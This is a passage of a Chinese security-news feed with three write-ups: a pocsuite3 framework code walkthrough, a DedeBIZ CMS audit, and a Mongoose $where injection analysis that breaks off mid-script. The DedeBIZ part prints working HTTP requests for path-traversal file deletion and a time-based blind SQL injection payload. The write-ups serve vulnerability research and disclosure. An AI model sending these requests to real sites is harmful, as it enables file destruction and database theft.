<p>如果poc是目录，则使用 os.walk() 递归遍历该目录下的所有文件，过滤出 .py或 .yaml 文件，并将其完整路径添加到 _pocs 列表中。</p>
<p>Step2：遍历加载 PoC 文件内容并检查，并对加载失败的poc进行日志记录。</p>
<p>Step3：最后从 Seebug 网站加载 PoC。</p>
<p>poc模版跟据目录找到现存poc：pocsuite3/pocs，thinkphp_rce为例</p>
<p><img alt="IMG_257" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711848.png"/></p>
<p>所有模版均是继承自父类POCBase，跟进：</p>
<p><img alt="IMG_258" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711849.png" width="720" height="260.1869158878505"/></p>
<p>父类在初始化时便设置了一系列可能用到的属性，例如自定义headers，目标url，端口等等。这里关注execute()函数</p>
<p><img alt="IMG_259" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711850.png" width="720" height="209.22440537745604"/></p>
<p>self.url处采用if判断：如果为http协议则采用parse_target_url()解析，else采用build_url()解析：mode值默认为verify。随后调用_execute()根据mode值执行。</p>
<p><img alt="IMG_260" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711851.png" width="720" height="373.55648535564853"/></p>
<p>shell()，attack()，_verify()均需自定义重写。回到例thinkphp_rce例子：_verify()函数如下：</p>
<p><img alt="IMG_261" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711852.png" width="720" height="306.3498920086393"/></p>
<p>调用了_check()函数进行检验：</p>
<p><img alt="IMG_262" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711853.png"/></p>
<p>通过request.post()发送设置好payload的请求，根据返回包关键字判断是否成功。（flag自定义）返回的结果在_verify()函数又会调用parse_output()转化为json格式输出。</p>
<p>动态核心load_file_to_module()继续分析_set_pocs_modules()</p>
<p><img alt="IMG_263" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711854.png" width="720" height="220.16"/></p>
<p>将读取文件切割为文件名和后缀名，根据后缀名重构路径file_pth，if判断file_path构建成功则进入红框代码处。</p>
<p><img alt="IMG_264" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711855.png" width="720" height="260.48"/></p>
<p>通过get_filename()从file_path路径提取文件名，由于wuth.ext=False，则不提取文件名后缀，提取后拼接在pocs_后并赋值给module，例如：pocs_thinkphp_rce。随后三行代码涉及到python中动态模块加载知识：</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px">spec = importlib.util.spec_from_file_location(module_name, file_path,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">loader=PocLoader(module_name, file_path))</span></pre>
<p>#创建模块规格，采用自定义加载器类加载模块，loader:加载器对象，负责如何从文件加载模块</p>
<p>mod = importlib.util.module_from_spec(spec)#根据规格创建模块对象</p>
<p>spec.loader.exec_module(mod) #执行模块代码，确保为完整可用的模块</p>
<p>动态模块注解：</p>
<p>模块是包含 Python 代码的文件，可以通过 import语句加载并使用。通常，当你使用 import 语句导入一个模块时，Python会根据模块的名称查找相应的文件（如 .py 文件），并将其加载到内存中。</p>
<p>然而，在一些特殊的情况下，比如动态加载模块或运行时创建模块，我们需要用到importlib 模块。importlib提供了一些工具，可以帮助我们在运行时加载模块，而不是在编写代码时静态地导入。</p>
<p>例如：importlib.util.spec_from_file_location</p>
<p>spec（模块加载规格）描述了如何加载一个模块。它定义了如何找到模块代码，如何加载它，以及加载时需要的一些元数据。类似于说明书，它告诉Python 模块在哪里、叫什么名字、以及如何加载它。</p>
<p>接着看看是如何调用loader加载器的exec_module()函数进行加载的：</p>
<p><img alt="IMG_265" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711856.png" width="720" height="143"/></p>
<p>filename接受poc绝对路径，poc_code接受poc文件内容。随后调用check_requires()检查代码运行中需要的包，通过<strong style="padding: 0px;margin: 0px">import</strong>函数导入。compile()为python内置函数，将源代码字符串poc_code编译为字节码，&#39;exec&#39;这是一个编译模式，表示代码将作为一段可执行的代码被执行。常见的编译模式有&#39;eval&#39;（用于单个表达式）和 &#39;exec&#39;（用于整个代码块）之后再调用exec()函数执行字节码对象obj当中的代码，并绑定到module.<strong style="padding: 0px;margin: 0px">dict</strong>上，这样就可以通过module.函数()直接调用poc_code当中的函数。</p>
<h1>多线程与输出加载</h1>
<p>跟进：_set_task_queue()</p>
<p><img alt="IMG_256" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711857.png" width="720" height="180.33898305084745"/></p>
<p>if判断，poc模版与目标ip均不为空情况下，遍历出poc_module与target。并将它们组成元组，加入kb.task_queue中，确保数据在线程安全传输。</p>
<p>start()函数</p>
<p><img alt="IMG_257" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711858.png" width="720" height="362.89156626506025"/></p>
<p>调用runtime_check()检查poc是否加载成功：</p>
<p><img alt="IMG_258" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711859.png" width="720" height="171.78947368421052"/></p>
<p>再调用python标准库中的queue.Queue类的qsize()方法，获取先前kb.task_queue队列的任务数量。run_threads()函数随后进入start()函数核心：run_threads(conf.threads, task_run)：该函数传入线程数conf.threads()，与多线程执行函数task_run()。</p>
<p><img alt="IMG_259" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711860.png" width="720" height="88.55172413793103"/></p>
<p>这个函数的目的是启动多个线程并执行给定的函数thread_function。num_threads: 需要启动的线程数量。thread_function: 要在线程中运行的目标函数。args: 传递给 thread_function 的参数，默认为空元组。forward_exception: 控制是否在捕获异常后继续传播异常，默认值为 True。start_msg: 控制是否输出启动线程的消息，默认值为 True。</p>
<p>先threads = []创建空列表，用来存储后续的线程实例</p>
<p>随后进行线程数检查，如果大于1，则是多线程，并在线程数超过max时发出告警提示，线程不大于1，则直接执行函数</p>
<p><img alt="IMG_260" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711861.png" width="720" height="297.413073713491"/></p>
<p>检查完为多线程则进行下一步：循环创建线程，并启动</p>
<p><img alt="IMG_261" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711862.png" width="720" height="241.92"/></p>
<p>根据num_threads数量循环创建，并调用setDaemon(TRUE)将所有线程设置为守护线程。（守护线程：后台运行，随主线程终止而终止)</p>
<p><img alt="IMG_262" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711863.png" width="720" height="259.2563600782779"/></p>
<p>随后再调用python标准库函数isAlive()进行循环检查，直到所有线程完成才跳出循环。(python3建议使用is_Alive()函数)。</p>
<p><img alt="IMG_263" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711864.png" width="720" height="169.32203389830508"/></p>
<p>执行完run_threads()函数后，finally代码再执行task_done()，跟进该函数，内部存在三个函数：</p>
<p><img alt="IMG_264" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711865.png"/></p>
<p>show_task_result()：会取出poc执行结果，然后格式化输出</p>
<p><img alt="IMG_265" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711866.png" width="720" height="394.24"/></p>
<p>result_plugins_start():该函数负责调用file_record.py中的start()函数</p>
<p><img alt="IMG_266" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711867.png" width="720" height="230.51975051975052"/></p>
<p><img alt="IMG_267" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711868.png" width="720" height="124.71428571428571"/></p>
<p>result_compare_handle():显示来自各个搜索引擎的对比数据</p>
<p><img alt="IMG_268" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711869.png" width="720" height="277.037037037037"/></p>
<p>先前已经分析了start(0函数核心在于run_threads(conf.threads,task_run)，我们接着跟进分析多线程执行函数：task_run()</p>
<p><strong style="padding: 0px;margin: 0px">多线程执行函数：</strong></p>
<p>task_run():</p>
<p><img alt="IMG_256" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711870.png" width="720" height="169.5483870967742"/></p>
<p>先确认task_queue不为空，并且thread_continue为真，随后从task_queue获取目标ip与poc模版</p>
<p>（之前通过task_queue.put((target,poc_module))存储进去的）</p>
<p>随后调用python标准库copy模块中的deepcpy，进行深拷贝操作，复制poc模版，防止原始poc模块被修改。</p>
<p>poc_name获取poc模块名称方便日志打印。</p>
<p>随后处理用户自定义参数，检查是否尝试修改白名单内容，并校验是否存在必选参数未设置。</p>
<p><img alt="IMG_257" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711871.png" width="720" height="486.2411347517731"/></p>
<p>随后进入核心代码块，根据传参调用excute()函数：</p>
<p><img alt="IMG_258" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711872.png" width="720" height="106.18296529968454"/></p>
<p>后续则是根据测试成功或者失败，对结果进行处理输出</p>
<p><img alt="IMG_259" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711873.png" width="720" height="201.32701421800948"/></p>
<p>综合文章分析，pocsuite3项目被我分成如下执行流程：</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502171711874.png" width="720" height="353.7931034482759"/></p>
<p>在clip.py中调用main()函数，整个项目则开始执行，进行环境检查，参数获取后，则进入核心代码：在main()函数中调用init()与start()函数，最后则是我上文刚分析过的数据处理与输出格式化。</p>
<p>&nbsp;&nbsp;</p>
<p><br/></p>
]]></description>
		<wfw:commentRss>https://www.secpulse.com/archives/205913.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DedeBIZ系统审计小结</title>
		<link>https://www.secpulse.com/archives/205891.html</link>
		<comments>https://www.secpulse.com/archives/205891.html#comments</comments>
		<pubDate>Thu, 20 Feb 2025 10:47:34 +0000</pubDate>
		<dc:creator><![CDATA[蚁景网安实验室]]></dc:creator>
				<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">https://www.secpulse.com/?p=205891</guid>
		<description><![CDATA[<p>之前简单审计过DedeBIZ系统，网上还没有对这个系统的漏洞有过详尽的分析，于是重新审计并总结文章，记录下自己审计的过程。</p>
<p><a href="https://github.com/DedeBIZ/DedeV6/archive/refs/tags/6.2.10.zip" class="">https://github.com/DedeBIZ/DedeV6/archive/refs/tags/6.2.10.zip</a></p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502121526380.png" width="720" height="222.98288508557457"/></p>
<p>?DedeBIZ 系统并非基于 MVC 框架，而是采用 静态化与动态解析结合 的方式进行页面处理。其“路由”主要依赖 静态文件跳转 和 数据库模板解析，因此可以直接访问 PHP 文件来触发相应的动态解析逻辑。</p>
<p>我一般会首先关注对文件的操作，任意文件上传、任意文件删除，任意文件读取、任意文件下载等漏洞都是我第一时间关注的重点，除了黑盒测试时关注功能点外，通过代码审计来看的话速度会更快一点。（这里有一个小技巧，就是直接全局搜索<code>?filename=</code>，一些 js 文件中可能会包含对文件处理的操作，搜索到后就可以直接进行尝试。）</p>
<h2>授权任意文件删除</h2>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px">GET /admin/file_manage_control.php?fmdo=del&amp;filename=../1.txt HTTP/1.1</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Host: dedev6.test</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Upgrade-Insecure-Requests: 1</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Accept-Encoding: gzip, deflate</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Accept-Language: zh-CN,zh;q=0.9</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Cookie: PHPSESSID=51t797sesf49d9oo8je5ugvjfa; dede_csrf_token=dfb0e80d4f74949ef3730a90d3f49c64; dede_csrf_token__ckMd5=554688926d285f96; DedeUserID=1; DedeUserID__ckMd5=6269166a7279678f; DedeLoginTime=1703426661; DedeLoginTime__ckMd5=7c3591094ad5f36b; DedeStUUID=22636dd1d7205; DedeStUUID__ckMd5=bae1ecb193958e0d; ENV_GOBACK_URL=%2Fadmin%2Fmychannel_main.php</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">Connection: close</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span></pre>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502121526382.png" width="720" height="323.8295633876907"/></p>
<p><code>src\admin\file_manage_control.php</code></p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502121526383.png" width="720" height="388.3598794662075"/></p>
<p>src\admin\file_class.php#DeleteFile</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502121526384.png" width="720" height="397.1600218459858"/></p>
<p>该漏洞发生在&nbsp;<code>file_manage_control.php</code>&nbsp;处理&nbsp;<code>fmdo=del</code>请求时，由于&nbsp;<code>DeleteFile</code>方法直接拼接&nbsp;<code>filename</code>参数生成完整路径并调用&nbsp;<code>unlink</code>&nbsp;删除文件，缺乏路径校验，导致攻击者可以构造&nbsp;<code>../</code>进行目录遍历，删除任意文件。通过&nbsp;<code>GET /admin/file_manage_control.php?fmdo=del&amp;filename=../1.txt</code>请求，利用&nbsp;<code>filename=../1.txt</code>逃出受限目录，删除站点根目录下的&nbsp;<code>1.txt</code>文件。</p>
<p><br/></p>
<p><br/></p>
<h2>授权 SQL 注入</h2>
<p>首先需要创建表单</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502121526385.png" width="720" height="201.0267155578837"/></p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502121526386.png" width="720" height="212.1904761904762"/></p>
<p>修改添加字段信息</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502121526387.png" width="720" height="158.30866807610994"/></p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502121526388.png" width="720" height="243.41772151898735"/></p>
<p>点击字段发布信息</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502121526389.png" width="720" height="170.42752867570385"/></p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502121526390.png" width="720" height="178.6888657648283"/></p>
<p>构造数据包</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502121526391.png" width="720" height="324.6394984326019"/></p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">POST</span> <span class="cm-operator">/</span><span class="cm-variable">admin</span><span class="cm-operator">/</span><span class="cm-variable">diy_list</span>.<span class="cm-variable">php</span><span class="cm-operator">?</span><span class="cm-variable">action</span><span class="cm-operator">=</span><span class="cm-variable">delete</span><span class="cm-operator">&amp;</span><span class="cm-variable">diyid</span><span class="cm-operator">=</span><span class="cm-number">1</span><span class="cm-operator">&amp;</span><span class="cm-variable">id</span>[]<span class="cm-operator">=</span><span class="cm-number">1</span>)<span class="cm-variable">AND</span><span class="cm-operator">+</span><span class="cm-variable">sleep</span>(<span class="cm-number">5</span> <span class="cm-variable">HTTP</span><span class="cm-operator">/</span><span class="cm-number">1.1</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Host</span>: <span class="cm-variable">dedev6</span>.<span class="cm-variable">test</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">Accept</span>: <span class="cm-operator">*</span><span class="cm-comment">/*</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-comment">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-comment">X-Requested-With: XMLHttpRequest</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-comment">Referer: http://dedev6.test/admin/index_body.php</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-comment">Accept-Encoding: gzip, deflate</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-comment">Accept-Language: zh-CN,zh;q=0.9</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-comment">Cookie: PHPSESSID=51t797sesf49d9oo8je5ugvjfa; dede_csrf_token=dfb0e80d4f74949ef3730a90d3f49c64; dede_csrf_token__ckMd5=554688926d285f96; DedeUserID=1; DedeUserID__ckMd5=6269166a7279678f; DedeLoginTime=1703426661; DedeLoginTime__ckMd5=7c3591094ad5f36b</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-comment">Connection: close</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-comment">Content-Type: application/x-www-form-urlencoded</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-comment">Content-Length: 0</span></span></pre>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502121526392.png" width="720" height="322.48833592534993"/></p>
<p>构造 payload 1)AND+(case(1)when(ascii(substr((select(database()))from(1)for(1)))=100)then(sleep(5))else(1)end</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502121526393.png" width="720" height="322.21409921671017"/></p>
<p>(case(1)when(ascii(substr((select(database()))from(1)for(1)))=100)then(sleep(5))else(1)end 为 true 与查询出的数据库名 dedebiz 第一个字母 d 的 ascii 相符合。</p>
<p>为什么我们操作的时候需要那么多的前置条件呢，接下来我会详细说明，首先我们从代码层面查看：</p>
<p><code>src/admin/diy_list.php</code></p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502121526394.png" width="720" height="303.6862745098039"/></p>
<p>对传入的参数 数组 id 通过 ， 拼接起来，最后传参到 SQL 语句：</p>
<pre>$query&nbsp;=&nbsp;&quot;DELETE&nbsp;FROM&nbsp;`$diy-&gt;table`&nbsp;WHERE&nbsp;id&nbsp;IN&nbsp;($ids)&quot;;</pre>
<p>参数可以通过 ） 闭合，构成 SQL 注入</p>
<p>我们注意到：</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable">$query</span> <span class="cm-operator">=</span> <span class="cm-string">&quot;DELETE FROM `$diy-&gt;table` WHERE id IN ($ids)&quot;</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-keyword">if</span> (<span class="cm-variable">$dsql</span><span class="cm-operator">-&gt;</span><span class="cm-variable">ExecuteNoneQuery</span>(<span class="cm-variable">$query</span>)) {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable">showmsg</span>(<span class="cm-string">&#39;删除成功&#39;</span>, <span class="cm-string">&quot;diy_list.php?action=list&amp;diyid={$diy-&gt;diyid}&quot;</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;} <span class="cm-keyword">else</span> {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable">showmsg</span>(<span class="cm-string">&#39;删除失败&#39;</span>, <span class="cm-string">&quot;diy_list.php?action=list&amp;diyid={$diy-&gt;diyid}&quot;</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;}</span></pre>
<p>执行的结果并不会直接返回到界面上，所以这个漏洞时一个盲注漏洞，基于盲注漏洞的特点以及执行数据库时，如果这个表为空，那么便不会执行成功，为了使这个数据库语句执行成功，数据库中必须先保存有数据。</p>
<p>同时这个注入漏洞可以说绝无仅有：</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502121526395.png" width="720" height="272.0855614973262"/></p>
<p>对比代码我们发现，就这一部分没有对变量 id 的类型进行检测。</p>
<p>　</p>
]]></description>
		<wfw:commentRss>https://www.secpulse.com/archives/205891.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mongoose 搜索注入漏洞分析</title>
		<link>https://www.secpulse.com/archives/205921.html</link>
		<comments>https://www.secpulse.com/archives/205921.html#comments</comments>
		<pubDate>Thu, 20 Feb 2025 10:45:46 +0000</pubDate>
		<dc:creator><![CDATA[蚁景网安实验室]]></dc:creator>
				<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">https://www.secpulse.com/?p=205921</guid>
		<description><![CDATA[<h1><span style="padding: 0px;margin: 0px;font-size: 22px">漏洞简介</span><br/></h1>
<p><strong style="padding: 0px;margin: 0px">CVE-2024-53900</strong>&nbsp;Mongoose 8.8.3、7.8.3 和 6.13.5 之前的版本容易受到&nbsp;<code>$where</code>&nbsp;运算符不当使用的影响。此漏洞源于&nbsp;<code>$where</code>&nbsp;子句能够在 MongoDB 查询中执行任意 JavaScript 代码，这可能导致代码注入攻击以及未经授权的数据库数据访问或操纵。</p>
<p><strong style="padding: 0px;margin: 0px">CVE-2025-23061</strong>&nbsp;Mongoose 8.9.5、7.8.4 和 6.13.6 之前的版本容易受到&nbsp;<code>$where</code>&nbsp;运算符不当使用的影响。此漏洞源于&nbsp;<code>$where</code>&nbsp;子句能够在 MongoDB 查询中执行任意 JavaScript 代码，可能导致代码注入攻击以及未经授权的数据库数据访问或操纵。该问题的存在是因为CVE-2024-53900的修复不完整。</p>
<p>Mongoose 是一个用于 Node.js 的 MongoDB 对象建模工具，它使得与 MongoDB 数据库交互变得更加简单和高效。我们可以看到这两个漏洞描述大体相同，都是因为在使用&nbsp;<code>$where</code>&nbsp;运算符时出现了问题。</p>
<h2>环境搭建</h2>
<p>安装 MongoDB<span style="padding: 0px;margin: 0px;color: inherit">&nbsp;</span>不知道是不是本地环境的问题，错误百出，于是还是采用 docker 来安装<span style="padding: 0px;margin: 0px;color: inherit">&nbsp;</span>docker pull mongo<span style="padding: 0px;margin: 0px;color: inherit">&nbsp;</span>docker run --name mongodb -d -p 27017:27017 mongo</p>
<p><img alt="image" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202502201543659.png" width="720" height="225"/></p>
<p>快速创建一个项目并指定 mongoose 版本</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-builtin">npm</span> init <span class="cm-attribute">-y</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-builtin">npm</span> install mongoose@6.13.4 <span class="cm-attribute">--save</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-builtin">node</span> test.js</span></pre>
<h2>漏洞复现</h2>
<p>根据漏洞特点我编写了一个 js 脚本，在不同版本下执行，比较不同情况对应的结果</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">const</span> <span class="cm-def">mongoose</span> <span class="cm-operator">=</span> <span class="cm-variable">require</span>(<span class="cm-string">&quot;mongoose&quot;</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-comment">// 连接 MongoDB</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">const</span> <span class="cm-def">MONGO_URI</span> <span class="cm-operator">=</span> <span class="cm-string">&quot;mongodb://localhost:27017/testdb&quot;</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">async</span> <span class="cm-keyword">function</span> <span class="cm-def">testWhereInjection</span>() {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-keyword">await</span> <span class="cm-variable">mongoose</span>.<span class="cm-property">connect</span>(<span class="cm-variable">MONGO_URI</span>, { <span class="cm-property">useNewUrlParser</span>: <span class="cm-atom">true</span>, <span class="cm-property">useUnifiedTopology</span>: <span class="cm-atom">true</span> });</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-comment">// 定义 User 模型和 Post 模型</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-keyword">const</span> <span class="cm-def">UserSchema</span> <span class="cm-operator">=</span> <span class="cm-keyword">new</span> <span class="cm-variable">mongoose</span>.<span class="cm-property">Schema</span>({</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-property">username</span>: <span class="cm-variable">String</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-property">isAdmin</span>: <span class="cm-variable">Boolean</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-property">password</span>: <span class="cm-variable">String</span> </span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;});</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-keyword">const</span> <span class="cm-def">PostSchema</span> <span class="cm-operator">=</span> <span class="cm-keyword">new</span> <span class="cm-variable">mongoose</span>.<span class="cm-property">Schema</span>({</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-property">title</span>: <span class="cm-variable">String</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-property">content</span>: <span class="cm-variable">String</span>,</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-property">author</span>: { <span class="cm-property">type</span>: <span class="cm-variable">mongoose</span>.<span class="cm-property">Schema</span>.<span class="cm-property">Types</span>.<span class="cm-property">ObjectId</span>, <span class="cm-property">ref</span>: <span class="cm-string">&#39;User&#39;</span> }</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;});</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-keyword">const</span> <span class="cm-def">User</span> <span class="cm-operator">=</span> <span class="cm-variable">mongoose</span>.<span class="cm-property">model</span>(<span class="cm-string">&quot;User&quot;</span>, <span class="cm-variable-2">UserSchema</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-keyword">const</span> <span class="cm-def">Post</span> <span class="cm-operator">=</span> <span class="cm-variable">mongoose</span>.<span class="cm-property">model</span>(<span class="cm-string">&quot;Post&quot;</span>, <span class="cm-variable-2">PostSchema</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-comment">// 插入测试数据</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-keyword">await</span> <span class="cm-variable-2">User</span>.<span class="cm-property">deleteMany</span>({});</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-keyword">await</span> <span class="cm-variable-2">Post</span>.<span class="cm-property">deleteMany</span>({});</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp;<span class="cm-keyword">const</span> <span class="cm-def">users</span> <span class="cm-operator">=</span> <span class="cm-keyword">await</span> <span class="cm-variable-2">User</span>.<span class="cm-property">insertMany</span>([</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;{ <span class="cm-property">username</span>: <span class="cm-string">&quot;admin&quot;</span>, <span class="cm-property">isAdmin</span>: <span class="cm-atom">true</span>, <span class="cm-property">password</span>: <span class="cm-string">&quot;admin123&quot;</span> },</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;{ <span class="cm-property">username</span>: <span class="cm-string">&quot;user1&quot;</span>, <span class="cm-property">isAdmin</span>: <span class="cm-atom">false</span>, <span class="cm-property">password</span>: <span class="cm-string">&quot;user123&quot;</span> },</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;{ <span class="cm-property">username</span>: <span class="cm-string">&quot;user2&quot;</span>, <span class="cm-property">isAdmin</span>: <span class="cm-atom">false</span>, <span class="cm-property">password</span>: 